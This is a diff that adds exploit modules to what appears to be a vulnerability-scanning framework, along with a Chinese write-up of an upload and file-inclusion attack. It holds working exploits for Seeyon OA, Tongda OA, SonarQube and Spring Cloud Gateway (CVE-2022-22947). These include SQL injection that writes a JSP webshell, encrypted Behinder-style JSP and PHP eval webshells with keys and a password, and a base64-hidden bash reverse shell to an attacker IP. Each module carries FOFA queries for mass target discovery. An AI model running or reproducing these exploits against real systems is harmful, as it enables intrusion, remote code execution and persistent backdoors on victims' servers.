Moudle/Seeyon/Seeyon_OA_SQLInjection.py
Normal file
@@ -0,0 +1,97 @@
|
||||
#!/usr/bin/env python3
|
||||
# _*_ coding:utf-8 _*_
|
||||
|
||||
import requests
|
||||
import random
|
||||
import re
|
||||
from Config.config_requests import headers
|
||||
from requests.packages.urllib3.exceptions import InsecureRequestWarning
|
||||
|
||||
# 脚本信息
|
||||
######################################################
|
||||
NAME='Seeyon_OA_SQLInjection'
|
||||
AUTHOR="Joker"
|
||||
REMARK='致远OA SQL注入漏洞'
|
||||
FOFA_RULE='title="致远A8+协同管理软件.A6"'
|
||||
######################################################
|
||||
|
||||
def poc(target):
|
||||
result = {}
|
||||
vuln_url = target + "/yyoa/common/js/menu/test.jsp?doType=101&S1=(SELECT%20@@basedir)"
|
||||
try:
|
||||
requests.packages.urllib3.disable_warnings(InsecureRequestWarning)
|
||||
r1 = requests.get(url=vuln_url, headers=headers, verify=False, timeout=5)
|
||||
if '序号' in r1.text and "@@basedir" in r1.text and r1.status_code == 200:
|
||||
result['target'] = target
|
||||
result['poc'] = NAME
|
||||
return result
|
||||
else:
|
||||
pass
|
||||
except Exception as e:
|
||||
pass
|
||||
|
||||
def exp(target):
|
||||
vuln_url = target + "/yyoa/common/js/menu/test.jsp?doType=101&S1=(SELECT%20@@basedir)"
|
||||
vuln_ur2 = target + "/yyoa/ext/trafaxserver/ExtnoManage/setextno.jsp?user_ids=(99999) union all select 1,2,(md5(1)),4#"
|
||||
try:
|
||||
requests.packages.urllib3.disable_warnings(InsecureRequestWarning)
|
||||
r1 = requests.get(url=vuln_url, headers=headers, verify=False, timeout=5)
|
||||
if '序号' in r1.text and "@@basedir" in r1.text and r1.status_code == 200:
|
||||
OA_dir = re.findall(r'>(.*)\\UFseeyon\\', r1.text)[0]
|
||||
OA_dir = OA_dir[:2] + '/' + OA_dir[3:]
|
||||
print ('[+] ' + target + "存在致远OA test.jsp sql注入漏洞,安装路径为:{}".format(target, OA_dir))
|
||||
webshell_name = "test_upload{}.jsp".format(random.randint(1,999))
|
||||
OA_dir = OA_dir + "/UFseeyon/OA/tomcat/webapps/yyoa/{}".format(webshell_name)
|
||||
exp1(target, OA_dir, webshell_name)
|
||||
else:
|
||||
pass
|
||||
except Exception as e:
|
||||
print("目标 {} 请求失败".format(target), e)
|
||||
|
||||
try:
|
||||
requests.packages.urllib3.disable_warnings(InsecureRequestWarning)
|
||||
r2 = requests.get(url=vuln_ur2, headers=headers, verify=False, timeout=5)
|
||||
if r2.status_code == 200 and "c4ca4238a0b923820dcc509a6f75849b" in r2.text:
|
||||
print ("[+] {} 存在致远OA setextno.jsp sql注入漏洞".format(target, vuln_ur2))
|
||||
else:
|
||||
pass
|
||||
except Exception as e:
|
||||
print("目标 {} 请求失败".format(target))
|
||||
|
||||
def exp1(target, OA_dir, webshell_name):
|
||||
vuln_url = target + "/yyoa/common/js/menu/test.jsp?doType=101&S1=select%20unhex(%273C25696628726571756573742E676574506172616D657465722822662229213D6E756C6C29286E6577206A6176612E696F2E46696C654F757470757453747265616D286170706C69636174696F6E2E6765745265616C5061746828225C22292B726571756573742E676574506172616D65746572282266222929292E777269746528726571756573742E676574506172616D6574657228227422292E67657442797465732829293B253E%27)%20%20into%20outfile%20%27{}%27".format(OA_dir)
|
||||
try:
|
||||
requests.packages.urllib3.disable_warnings(InsecureRequestWarning)
|
||||
response = requests.get(url=vuln_url, verify=False, timeout=5)
|
||||
if 'already' in response.text and response.status_code == 200:
|
||||
print("文件写入木马上传失败,目标已存在相同文件,请重新运行")
|
||||
elif "No Data" in response.text and response.status_code == 200:
|
||||
print("[o] 文件写入木马上传成功,上传路径为 {}".format(OA_dir))
|
||||
exp2(target, webshell_name)
|
||||
else:
|
||||
print("[x] 目标 {} 木马上传失败".format(target))
|
||||
except Exception as e:
|
||||
print("[x] 目标 {} 请求失败".format(target), e)
|
||||
|
||||
def exp2(target, webshell_name):
|
||||
rebe_webshell = "testweb{}.jsp".format(random.randint(1,999))
|
||||
vuln_url = target + "/yyoa/{}?f={}".format(webshell_name, rebe_webshell)
|
||||
data = "t=%3C%25%40page%20import%3D%22java.util.*%2Cjavax.crypto.*%2Cjavax.crypto.spec.*%22%25%3E%3C%25!class%20U%20extends%20ClassLoader%7BU(ClassLoader%20c)%7Bsuper(c)%3B%7Dpublic%20Class%20g(byte%20%5B%5Db)%7Breturn%20super.defineClass(b%2C0%2Cb.length)%3B%7D%7D%25%3E%3C%25if%20(request.getMethod().equals(%22POST%22))%7BString%20k%3D%223c961f49d5fa96c5%22%3Bsession.putValue(%22u%22%2Ck)%3BCipher%20c%3DCipher.getInstance(%22AES%22)%3Bc.init(2%2Cnew%20SecretKeySpec(k.getBytes()%2C%22AES%22))%3Bnew%20U(this.getClass().getClassLoader()).g(c.doFinal(new%20sun.misc.BASE64Decoder().decodeBuffer(request.getReader().readLine()))).newInstance().equals(pageContext)%3B%7D%25%3E"
|
||||
headers = {
|
||||
"Content-Type": "application/x-www-form-urlencoded"
|
||||
}
|
||||
try:
|
||||
requests.packages.urllib3.disable_warnings(InsecureRequestWarning)
|
||||
print("[o] 正在请求:{}".format(vuln_url))
|
||||
response = requests.post(url=vuln_url, data=data, headers=headers, verify=False, timeout=5)
|
||||
if response.status_code == 200:
|
||||
print("[o] 木马上传成功, 路径为:{}/yyoa/{}".format(target, rebe_webshell))
|
||||
print("[o] 请使用冰蝎连接,密码为: szxsd")
|
||||
else:
|
||||
print("[x] 木马上传失败,可能被拦截".format(target))
|
||||
except Exception as e:
|
||||
print("[x] 目标 {} 请求失败".format(target), e)
|
||||
|
||||
|
||||
if __name__ == '__main__':
|
||||
poc("https://127.0.0.1")
|
||||
84
Moudle/Seeyon/Seeyon_OA_SessionLeak_Upload.py
Normal file
@@ -0,0 +1,84 @@
|
||||
#!/usr/bin/env python3
|
||||
# _*_ coding:utf-8 _*_
|
||||
|
||||
import requests
|
||||
import sys
|
||||
import time
|
||||
import re
|
||||
from requests.packages.urllib3.exceptions import InsecureRequestWarning
|
||||
|
||||
# 脚本信息
|
||||
######################################################
|
||||
NAME='Seeyon_OA_SessionLeak_Upload'
|
||||
AUTHOR="Joker"
|
||||
REMARK='致远OA Session泄露 任意文件上传漏洞'
|
||||
FOFA_RULE='title="致远OA'
|
||||
######################################################
|
||||
|
||||
def poc(target):
|
||||
result = {}
|
||||
test_url1 = target + "/seeyon/thirdpartyController.do"
|
||||
headers = {
|
||||
"User-Agent":"Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/89.0.4389.90 Safari/537.36",
|
||||
"Content-Type": "application/x-www-form-urlencoded",
|
||||
}
|
||||
data = "method=access&enc=TT5uZnR0YmhmL21qb2wvZXBkL2dwbWVmcy9wcWZvJ04+LjgzODQxNDMxMjQzNDU4NTkyNzknVT4zNjk0NzI5NDo3MjU4&clientPath=127.0.0.1"
|
||||
try:
|
||||
requests.packages.urllib3.disable_warnings(InsecureRequestWarning)
|
||||
response = requests.post(url=test_url1, headers=headers, data=data, verify=False, timeout=5)
|
||||
if response.status_code == 200 and "a8genius.do" in response.text:
|
||||
result['target'] = target
|
||||
result['poc'] = NAME
|
||||
return result
|
||||
except:
|
||||
pass
|
||||
|
||||
def exp(target_url):
|
||||
vuln_url = target_url + "/seeyon/thirdpartyController.do"
|
||||
headers = {
|
||||
"User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/86.0.4240.111 Safari/537.36",
|
||||
"Content-Type": "application/x-www-form-urlencoded",
|
||||
}
|
||||
data = "method=access&enc=TT5uZnR0YmhmL21qb2wvZXBkL2dwbWVmcy9wcWZvJ04+LjgzODQxNDMxMjQzNDU4NTkyNzknVT4zNjk0NzI5NDo3MjU4&clientPath=127.0.0.1"
|
||||
try:
|
||||
requests.packages.urllib3.disable_warnings(InsecureRequestWarning)
|
||||
response = requests.post(url=vuln_url, headers=headers, data=data, verify=False, timeout=5)
|
||||
if response.status_code == 200 and "a8genius.do" in response.text and 'set-cookie' in str(response.headers).lower():
|
||||
cookies = response.cookies
|
||||
cookies = requests.utils.dict_from_cookiejar(cookies)
|
||||
cookie = cookies['JSESSIONID']
|
||||
targeturl = target_url + '/seeyon/fileUpload.do?method=processUpload'
|
||||
print("[o] 目标 {} 正在上传压缩包文件.... \n[o] Cookie: {}".format(target_url, cookie))
|
||||
files = [('file1', ('360icon.png', open('platform.zip', 'rb'), 'image/png'))]
|
||||
headers = {'Cookie':"JSESSIONID=%s" % cookie}
|
||||
data = {'callMethod': 'resizeLayout', 'firstSave': "true", 'takeOver':"false", "type": '0','isEncrypt': "0"}
|
||||
response = requests.post(url=targeturl,files=files,data=data, headers=headers,timeout=60,verify=False)
|
||||
#print(response.text)
|
||||
reg = re.findall('fileurls=fileurls\+","\+\'(.+)\'',response.text,re.I)
|
||||
if len(reg)==0:
|
||||
sys.exit("上传文件失败")
|
||||
exp2(target_url, cookie, reg, headers)
|
||||
else:
|
||||
print("[x] 目标 {} 不存在漏洞".format(target_url))
|
||||
except Exception as e:
|
||||
pass
|
||||
|
||||
def exp2(target_url, cookie, reg, headers):
|
||||
vuln_url = target_url + '/seeyon/ajax.do'
|
||||
datestr = time.strftime('%Y-%m-%d')
|
||||
post = 'method=ajaxAction&managerName=portalDesignerManager&managerMethod=uploadPageLayoutAttachment&arguments=%5B0%2C%22' + datestr + '%22%2C%22' + reg[0] + '%22%5D'
|
||||
|
||||
headers['Content-Type']="application/x-www-form-urlencoded"
|
||||
print("[o] 目标 {} 正在解压文件....".format(target_url))
|
||||
try:
|
||||
response = requests.post(vuln_url, data=post,headers=headers,timeout=60,verify=False)
|
||||
if response.status_code == 500:
|
||||
print("[+]{}/seeyon/common/designer/pageLayout/123.jsp szxsd 默认Webshell地址".format(target_url))
|
||||
else:
|
||||
print("[x] 目标 {} 不存在漏洞".format(target_url))
|
||||
except Exception as e:
|
||||
pass
|
||||
|
||||
|
||||
if __name__ == '__main__':
|
||||
poc("https://127.0.0.1")
|
||||
32
Moudle/Seeyon/Seeyon_OA_Session_Leak.py
Normal file
@@ -0,0 +1,32 @@
|
||||
#!/usr/bin/env python3
|
||||
# _*_ coding:utf-8 _*_
|
||||
|
||||
import requests
|
||||
from Config.config_requests import headers
|
||||
from requests.packages.urllib3.exceptions import InsecureRequestWarning
|
||||
|
||||
# 脚本信息
|
||||
######################################################
|
||||
NAME='Seeyon_OA_Session_Leak'
|
||||
AUTHOR="Joker"
|
||||
REMARK='致远OA getSessionList.jsp Session泄漏漏洞'
|
||||
FOFA_RULE='title="致远OA'
|
||||
######################################################
|
||||
|
||||
def poc(target):
|
||||
result = {}
|
||||
vuln_url = target + "/yyoa/ext/https/getSessionList.jsp?cmd=getAll"
|
||||
try:
|
||||
requests.packages.urllib3.disable_warnings(InsecureRequestWarning)
|
||||
r = requests.get(url=vuln_url, headers=headers, verify=False, timeout=5)
|
||||
if "/yyoa/index.jsp" not in r.text and "<sessionID>" in r.text and r.status_code == 200:
|
||||
result['target'] = target
|
||||
result['poc'] = NAME
|
||||
result['session'] = vuln_url
|
||||
return result
|
||||
except:
|
||||
pass
|
||||
|
||||
|
||||
if __name__ == '__main__':
|
||||
poc('https://127.0.0.1')
|
||||
BIN
Moudle/Seeyon/platform.zip
Normal file
36
Moudle/SonarQube/CVE_2020_27986.py
Normal file
@@ -0,0 +1,36 @@
|
||||
#!/usr/bin/env python3
|
||||
# _*_ coding:utf-8 _*_
|
||||
|
||||
import requests
|
||||
from Config.config_requests import ua
|
||||
from requests.packages.urllib3.exceptions import InsecurePlatformWarning
|
||||
|
||||
|
||||
# 脚本信息
|
||||
######################################################
|
||||
NAME='CVE_2020_27986'
|
||||
AUTHOR="Faith"
|
||||
REMARK='SonarQube API 未授权访问漏洞'
|
||||
FOFA_RULE='app="sonarQube-代码管理"'
|
||||
######################################################
|
||||
|
||||
def poc(target):
|
||||
result = {}
|
||||
url = target + "/api/settings/values"
|
||||
headers = {"UserAgent":ua}
|
||||
try:
|
||||
requests.packages.urllib3.disable_warnings(InsecurePlatformWarning)
|
||||
r = requests.get(url=url,headers=headers,verify=False,timeout=3)
|
||||
if "key" in r.text and r.status_code ==200:
|
||||
result['target'] = target
|
||||
result['poc'] = NAME
|
||||
result['url'] = url
|
||||
return result
|
||||
else:
|
||||
pass
|
||||
except :
|
||||
pass
|
||||
|
||||
|
||||
if __name__ == '__main__':
|
||||
poc("http://127.0.0.1")
|
||||
70
Moudle/Spring/CVE_2022_22947.py
Normal file
@@ -0,0 +1,70 @@
|
||||
#!/usr/bin/env python3
|
||||
# _*_ coding:utf-8 _*_
|
||||
|
||||
import requests
|
||||
import requests.packages.urllib3
|
||||
import random
|
||||
import base64
|
||||
import re
|
||||
from Config.config_requests import ua
|
||||
from requests.packages.urllib3.exceptions import InsecureRequestWarning
|
||||
|
||||
requests.packages.urllib3.disable_warnings(InsecureRequestWarning)
|
||||
|
||||
# 脚本信息
|
||||
######################################################
|
||||
NAME = 'CVE-2022-22947'
|
||||
AUTHOR = "境心"
|
||||
REMARK = 'Spring Cloud Gateway RCE'
|
||||
FOFA_RULE = 'icon_hash="116323821"'
|
||||
######################################################
|
||||
|
||||
def generate_random_str(randomlength=5):
|
||||
random_str = ''
|
||||
base_str = 'ABCDEFGHIGKLMNOPQRSTUVWXYZabcdefghigklmnopqrstuvwxyz'
|
||||
length = len(base_str) - 1
|
||||
for i in range(randomlength):
|
||||
random_str += base_str[random.randint(0, length)]
|
||||
return random_str
|
||||
|
||||
def poc(target,rem_ip="127.0.0.1",rem_port="80"):
|
||||
result = {}
|
||||
str_code = generate_random_str()
|
||||
if target[-1] == "/":
|
||||
target = target.strip("/")
|
||||
url13 = target + "/actuator/gateway/routes/" + str_code
|
||||
print(url13)
|
||||
url2 = target + "/actuator/gateway/refresh"
|
||||
headers = {
|
||||
'Accept-Encoding': 'gzip, deflate',
|
||||
'Accept': '*/*',
|
||||
'Accept-Language': 'en',
|
||||
'User-Agent': ua,
|
||||
'Connection': 'close',
|
||||
'Content-Type': 'application/json'
|
||||
}
|
||||
poc_data = "eyAiaWQiOiAiYWExMTIyMzMiLCAiZmlsdGVycyI6IFt7ICJuYW1lIjogIkFkZFJlc3BvbnNlSGVhZGVyIiwgImFyZ3MiOiB7ICJuYW1lIjogIlJlc3VsdCIsICJ2YWx1ZSI6ICIje25ldyBTdHJpbmcoVChvcmcuc3ByaW5nZnJhbWV3b3JrLnV0aWwuU3RyZWFtVXRpbHMpLmNvcHlUb0J5dGVBcnJheShUKGphdmEubGFuZy5SdW50aW1lKS5nZXRSdW50aW1lKCkuZXhlYyhuZXcgU3RyaW5nW117XCJpZFwifSkuZ2V0SW5wdXRTdHJlYW0oKSkpfSIgfSB9XSwgInVyaSI6ICJodHRwOi8vZXhhbXBsZS5jb20iIH0="
|
||||
exp_data = "eyAiaWQiOiAiYWExMTIyMzMiLCAiZmlsdGVycyI6IFt7ICJuYW1lIjogIkFkZFJlc3BvbnNlSGVhZGVyIiwgImFyZ3MiOiB7ICJuYW1lIjogIlJlc3VsdCIsICJ2YWx1ZSI6ICIje25ldyBTdHJpbmcoVChvcmcuc3ByaW5nZnJhbWV3b3JrLnV0aWwuU3RyZWFtVXRpbHMpLmNvcHlUb0J5dGVBcnJheShUKGphdmEubGFuZy5SdW50aW1lKS5nZXRSdW50aW1lKCkuZXhlYyhuZXcgU3RyaW5nW117XCIvYmluL2Jhc2hcIixcIi1jXCIsXCJiYXNoIC1pID4mIC9kZXYvdGNwL3JlbV9pcC9yZW1fcG9ydCAwPiYxXCJ9KS5nZXRJbnB1dFN0cmVhbSgpKSl9IiB9IH1dLCAidXJpIjogImh0dHA6Ly9leGFtcGxlLmNvbSIgfQ=="
|
||||
|
||||
if rem_ip =="127.0.0.1":
|
||||
a = requests.post(url13, headers=headers,data=base64.b64decode(poc_data).decode().replace('aa112233', str_code), verify=False, timeout=5)
|
||||
else:
|
||||
requests.post(url13, headers=headers,data=base64.b64decode(exp_data).decode().replace('rem_ip', rem_ip).replace('rem_port',rem_port).replace('aa112233', str_code), verify=False, timeout=5)
|
||||
|
||||
b= requests.post(url2, headers=headers, verify=False, timeout=5)
|
||||
res = requests.get(url13, headers=headers, verify=False, timeout=5)
|
||||
try:
|
||||
res1 = re.findall("Result = '(.*)'", res.text)[0]
|
||||
except IndexError as ierro:
|
||||
pass
|
||||
else:
|
||||
result['vurl'] = url13
|
||||
result['poc'] = NAME
|
||||
result['command_res'] = res1
|
||||
result['message'] = "存在Spring Cloud Gateway RCE漏洞"
|
||||
return result
|
||||
|
||||
if __name__ == '__main__':
|
||||
poc("http://127.0.0.1")
|
||||
# exp单独调用方式
|
||||
# poc("https://27.0.0.1","vpsip","vpsport")
|
||||
172
Moudle/TDXK/TDXK_Any_file_upload.md
Normal file
@@ -0,0 +1,172 @@
|
||||
# 1、漏洞描述
|
||||
|
||||
通达OA存在前台任意文件上传漏洞,结合文件包含,可直接获取服务器权限
|
||||
|
||||
# 2、影响范围
|
||||
|
||||
- 受影响的版本有:
|
||||
|
||||
V11版
|
||||
|
||||
2017版
|
||||
|
||||
2016版
|
||||
|
||||
2015版
|
||||
|
||||
2013增强版
|
||||
|
||||
2013版
|
||||
|
||||
|
||||
|
||||
- 受影响的文件上传漏洞文件:
|
||||
|
||||
/ispirit/im/upload.php
|
||||
|
||||
|
||||
|
||||
- 受影响的文件包含漏洞文件:
|
||||
|
||||
2013版(可能大多数遇到的是这个):
|
||||
|
||||
/ispirit/interface/gateway.php
|
||||
|
||||
|
||||
|
||||
2017版:
|
||||
|
||||
/mac/gateway.php
|
||||
|
||||
|
||||
|
||||
# 3、本地环境搭建
|
||||
|
||||
下载其中一个受影响的版本安装包,直接傻瓜式下一步自动安装。
|
||||
|
||||
|
||||
|
||||
# 4、漏洞复现
|
||||
|
||||
具体源码审计分析就先不看了,漏洞利用具体分两步,第一先上传后缀为jpg、内容为任意(POC验证)或shell(EXP利用)的jpg图片,第二通过文件包含漏洞,将上传后的文件路径组合到POST传输的json格式的form表单之中,通过访问文件包含漏洞的php文件,即可组合实现漏洞验证/利用。
|
||||
|
||||
## 4.1、文件上传
|
||||
|
||||
坑点1:
|
||||
|
||||
Content-Type内容要标明为form表单,并且要有boundary,内容除了那四个-之外,可以自定义,不过要与POST表单中的一致。
|
||||
|
||||

|
||||
|
||||
坑点2:
|
||||
|
||||
POST表单中,每一个表单与其内容之间要有回车换行,这是文件上传的固定格式,否则上传文件会失败。
|
||||
|
||||
表单的name值不要改,~~上边三个表单的内容2、123、1最好也别改,会影响返回的内容详细程度。~~
|
||||
|
||||
更正一下上边删除线的内容,这三个表单里的内容最好全部改为1,因为后边深入调试的时候,poc批量跑一些站,本来有漏洞的出现了漏报,因这里的数字导致返回不一致,详见坑点3.
|
||||
|
||||
脚本和下边的POST包中已更正这些坑点。
|
||||
|
||||

|
||||
|
||||
坑点3:
|
||||
|
||||
这里后期调试的时候,批量跑了一些站,发现存在漏报,如下,这种的是存在漏洞的,但是因为坑点2中删除线中提到的表单内容,导致返回包没返回全,正则取值的时候,就漏掉了。
|
||||
|
||||
第二张图中是修正后的返回,其中1标识的是存在漏洞的,2标识的是不存在漏洞的。
|
||||
|
||||
脚本和下边的POST包中已更正这些坑点。
|
||||
|
||||

|
||||
|
||||

|
||||
|
||||
坑点4:
|
||||
|
||||
并不是第一步文件传上去了,就算成功了,上边总结的两个包含的php文件路径并不全,所以,也有可能文件传上去了,但是不知道或没有这个包含的php文件路径,也是白搭。调试中也遇到这个问题。
|
||||
|
||||
|
||||
POST上传包:
|
||||
|
||||
```
|
||||
POST /ispirit/im/upload.php HTTP/1.1
|
||||
Host: 127.0.0.1
|
||||
Cache-Control: max-age=0
|
||||
Upgrade-Insecure-Requests: 1
|
||||
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/92.0.4515.159 Safari/537.36
|
||||
Content-Type: multipart/form-data; boundary=----WebKitFormBoundarypyfBh1YB4pV8McGB
|
||||
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
|
||||
Accept-Encoding: gzip, deflate
|
||||
Accept-Language: zh-CN,zh;q=0.9
|
||||
Cookie: PHPSESSID=000
|
||||
Connection: close
|
||||
Content-Length: 559
|
||||
|
||||
|
||||
------WebKitFormBoundarypyfBh1YB4pV8McGB
|
||||
Content-Disposition: form-data; name="UPLOAD_MODE"
|
||||
|
||||
1
|
||||
------WebKitFormBoundarypyfBh1YB4pV8McGB
|
||||
Content-Disposition: form-data; name="P"
|
||||
|
||||
1
|
||||
------WebKitFormBoundarypyfBh1YB4pV8McGB
|
||||
Content-Disposition: form-data; name="DEST_UID"
|
||||
|
||||
1
|
||||
------WebKitFormBoundarypyfBh1YB4pV8McGB
|
||||
Content-Disposition: form-data; name="ATTACHMENT"; filename="jpg"
|
||||
Content-Type: image/jpeg
|
||||
|
||||
<?php
|
||||
echo "this is a friendly test, Please check and repair upload vulnerabilities."
|
||||
?>
|
||||
------WebKitFormBoundarypyfBh1YB4pV8McGB--
|
||||
```
|
||||
|
||||
POST文件上传返回(这个返回内容代表上传成功):
|
||||
|
||||
@符号与_ 之间的字符部分(不包含@与_ )是一个目录名,_到第一个| 之间的字符部分(不包含_与| )是文件名,后边需要用到这两个组合被文件包含的路径,文件后缀与上传的一致,为jpg
|
||||
|
||||

|
||||
|
||||
## 4.2、文件包含
|
||||
|
||||
不同的通达OA版本,文件包含的php文件不同,一般有两种,详见2、影响范围,
|
||||
|
||||
这里就不用上边说的content-type了,将上边提到的目录名和文件名分别替换POST内容中的相应值即可,下边例子中是替换2108和773815306;
|
||||
|
||||
POST包:
|
||||
|
||||
```
|
||||
POST /ispirit/interface/gateway.php HTTP/1.1
|
||||
Host: 127.0.0.1
|
||||
Cache-Control: max-age=0
|
||||
Upgrade-Insecure-Requests: 1
|
||||
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/92.0.4515.159 Safari/537.36
|
||||
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
|
||||
Accept-Encoding: gzip, deflate
|
||||
Accept-Language: zh-CN,zh;q=0.9
|
||||
Cookie: PHPSESSID=000
|
||||
Connection: close
|
||||
Content-Length: 58
|
||||
|
||||
json={"url":"/general/../../attach/im/2108/773815306.jpg"}
|
||||
```
|
||||
|
||||
坑点:
|
||||
|
||||
不知为何,请求没有问题的情况下,burpsuit没有返回上传的文件内容,而浏览器却可以;
|
||||
|
||||

|
||||
|
||||

|
||||
|
||||
# 5、脚本
|
||||
|
||||
支持poc与exp,配合框架,poc可批量,只返回有漏洞的url,同时返回漏洞被包含文件的form-data,方便验证。
|
||||
|
||||
exp只支持单个脚本使用,使用方法详见脚本最下方的注释,其中的webshell为冰蝎原始的,有waf的基本上都能拦截,绕waf另说。
|
||||
|
||||
175
Moudle/TDXK/TDXK_Any_file_upload.py
Normal file
@@ -0,0 +1,175 @@
|
||||
#!/usr/bin/env python3
|
||||
# _*_ coding:utf-8 _*_
|
||||
|
||||
import json
|
||||
import requests
|
||||
import requests.packages.urllib3
|
||||
import re
|
||||
import io
|
||||
from Config.config_requests import ua
|
||||
from requests.packages.urllib3.exceptions import InsecureRequestWarning
|
||||
|
||||
requests.packages.urllib3.disable_warnings(InsecureRequestWarning)
|
||||
|
||||
|
||||
# 脚本信息
|
||||
######################################################
|
||||
NAME='TDXK_Any file upload'
|
||||
AUTHOR="境心"
|
||||
REMARK='TDXK_前台任意文件上传'
|
||||
FOFA_RULE='app="TDXK-通达OA"'
|
||||
######################################################
|
||||
|
||||
def poc_content():
|
||||
content = """------WebKitFormBoundarypyfBh1YB4pV8McGB
|
||||
Content-Disposition: form-data; name="UPLOAD_MODE"
|
||||
|
||||
1
|
||||
------WebKitFormBoundarypyfBh1YB4pV8McGB
|
||||
Content-Disposition: form-data; name="P"
|
||||
|
||||
1
|
||||
------WebKitFormBoundarypyfBh1YB4pV8McGB
|
||||
Content-Disposition: form-data; name="DEST_UID"
|
||||
|
||||
1
|
||||
------WebKitFormBoundarypyfBh1YB4pV8McGB
|
||||
Content-Disposition: form-data; name="ATTACHMENT"; filename="jpg"
|
||||
Content-Type: image/jpeg
|
||||
|
||||
<?php
|
||||
echo "this is a friendly test, Please check and repair upload vulnerabilities."
|
||||
?>
|
||||
------WebKitFormBoundarypyfBh1YB4pV8McGB--"""
|
||||
mem_string = io.StringIO()
|
||||
mem_string.write(content)
|
||||
mem_string.seek(0)
|
||||
return mem_string
|
||||
|
||||
def exp_content():
|
||||
content = """------WebKitFormBoundarypyfBh1YB4pV8McGB
|
||||
Content-Disposition: form-data; name="UPLOAD_MODE"
|
||||
|
||||
1
|
||||
------WebKitFormBoundarypyfBh1YB4pV8McGB
|
||||
Content-Disposition: form-data; name="P"
|
||||
|
||||
1
|
||||
------WebKitFormBoundarypyfBh1YB4pV8McGB
|
||||
Content-Disposition: form-data; name="DEST_UID"
|
||||
|
||||
1
|
||||
------WebKitFormBoundarypyfBh1YB4pV8McGB
|
||||
Content-Disposition: form-data; name="ATTACHMENT"; filename="jpg"
|
||||
Content-Type: image/jpeg
|
||||
|
||||
<?php
|
||||
$myfile = fopen("../../general/eninde.php", "w");
|
||||
$txt = '<?php
|
||||
@error_reporting(0);
|
||||
session_start();
|
||||
$key="e45e329feb5d925b";
|
||||
$_SESSION["k"]=$key;
|
||||
session_write_close();
|
||||
$post=file_get_contents("php://input");
|
||||
if(!extension_loaded("openssl"))
|
||||
{
|
||||
$t="base64_"."decode";
|
||||
$post=$t($post."");
|
||||
|
||||
for($i=0;$i<strlen($post);$i++) {
|
||||
$post[$i] = $post[$i]^$key[$i+1&15];
|
||||
}
|
||||
}
|
||||
else
|
||||
{
|
||||
$post=openssl_decrypt($post, "AES128", $key);
|
||||
}
|
||||
$arr=explode("|",$post);
|
||||
$func=$arr[0];
|
||||
$params=$arr[1];
|
||||
class C{public function __invoke($p) {eval($p."");}}
|
||||
@call_user_func(new C(),$params);
|
||||
?>';
|
||||
fwrite($myfile, $txt);
|
||||
fclose($myfile);
|
||||
?>
|
||||
------WebKitFormBoundarypyfBh1YB4pV8McGB--"""
|
||||
mem_string = io.StringIO()
|
||||
mem_string.write(content)
|
||||
mem_string.seek(0)
|
||||
return mem_string
|
||||
|
||||
def verify_poc(target,exp=None):
|
||||
upload_url = target+"/ispirit/im/upload.php"
|
||||
headers = {
|
||||
"User-Agent": ua,
|
||||
"Content-Type": "multipart/form-data; boundary=----WebKitFormBoundarypyfBh1YB4pV8McGB",
|
||||
"Accept": "*/*",
|
||||
"Accept-Encoding": "gzip, deflate",
|
||||
"Accept-Language": "zh-CN,zh;q=0.9,zh-HK;q=0.8,ja;q=0.7,en;q=0.6,zh-TW;q=0.5",
|
||||
"Cookie": "PHPSESSID=000",
|
||||
"Connection": "close"
|
||||
}
|
||||
if exp == None:
|
||||
mem_string = poc_content()
|
||||
target_tmp_file = [('ATTACHMENT', ('upload_poc.jpg', mem_string.read(), 'image/jpeg'))]
|
||||
elif exp == "exp":
|
||||
mem_string = exp_content()
|
||||
target_tmp_file = [('ATTACHMENT', ('upload_exp.jpg', mem_string.read(), 'image/jpeg'))]
|
||||
try:
|
||||
res = requests.post(upload_url, headers=headers, files=target_tmp_file, verify=False, timeout=5)
|
||||
except:
|
||||
pass
|
||||
res_content = res.text
|
||||
if "用户未登陆" in res_content:
|
||||
return None
|
||||
elif "\\u4e0a\\u4f20\\u5931\\u8d25" in res_content:
|
||||
return None
|
||||
else:
|
||||
target_tmp_path = re.findall('@(\d+)_', str(res_content))[0]
|
||||
target_filename = re.findall('_(\d+)\|', str(res_content))[0]
|
||||
target_path = "/general/../../attach/im/"+str(target_tmp_path)+"/"+str(target_filename)+".jpg"
|
||||
return target_path
|
||||
|
||||
def poc(target,exp=None):
|
||||
target_path = verify_poc(target,exp)
|
||||
if target_path:
|
||||
result = {}
|
||||
include_url1 = target + "/ispirit/interface/gateway.php"
|
||||
include_url2 = target + "/mac/gateway.php"
|
||||
# 格式化POST表单
|
||||
include_json_data = {"url":target_path}
|
||||
include_data = json.dumps(include_json_data)
|
||||
include_form_data = {"json":include_data}
|
||||
# 请求poc验证
|
||||
target_res = requests.post(include_url1, data=include_form_data, verify=False, timeout=5)
|
||||
result['vul_url'] = include_url1
|
||||
if target_res.status_code == 404:
|
||||
target_res = requests.post(include_url2, data=include_form_data, verify=False, timeout=5)
|
||||
result['vul_url'] = include_url2
|
||||
if exp == None:
|
||||
if "this is a friendly test" in str(target_res.text):
|
||||
include_json_data = json.dumps(include_json_data)
|
||||
target_post_data = "json=" + include_json_data
|
||||
result['vul_post_data'] = target_post_data
|
||||
result['message'] = "存在任意文件上传漏洞"
|
||||
result['poc'] = NAME
|
||||
return result
|
||||
else:
|
||||
pass
|
||||
elif exp == "exp":
|
||||
exp_url = target+"general/eninde.php"
|
||||
exp_res = requests.get(exp_url, verify=False, timeout=5)
|
||||
if exp_res.status_code == 200:
|
||||
print("webshell地址为: "+target+"general/index.php")
|
||||
elif exp_res.status_code == 404:
|
||||
print("webshell生成失败")
|
||||
else:
|
||||
print("已上传成功,但连接时可能被waf拦截")
|
||||
|
||||
if __name__ == '__main__':
|
||||
# poc调用
|
||||
poc("http://127.0.0.1/")
|
||||
# exp单独调用方式。 exp调用请传参时附带第二个参数内容,参数内容为exp
|
||||
# poc("http://127.0.0.1/", "exp")
|
||||
42
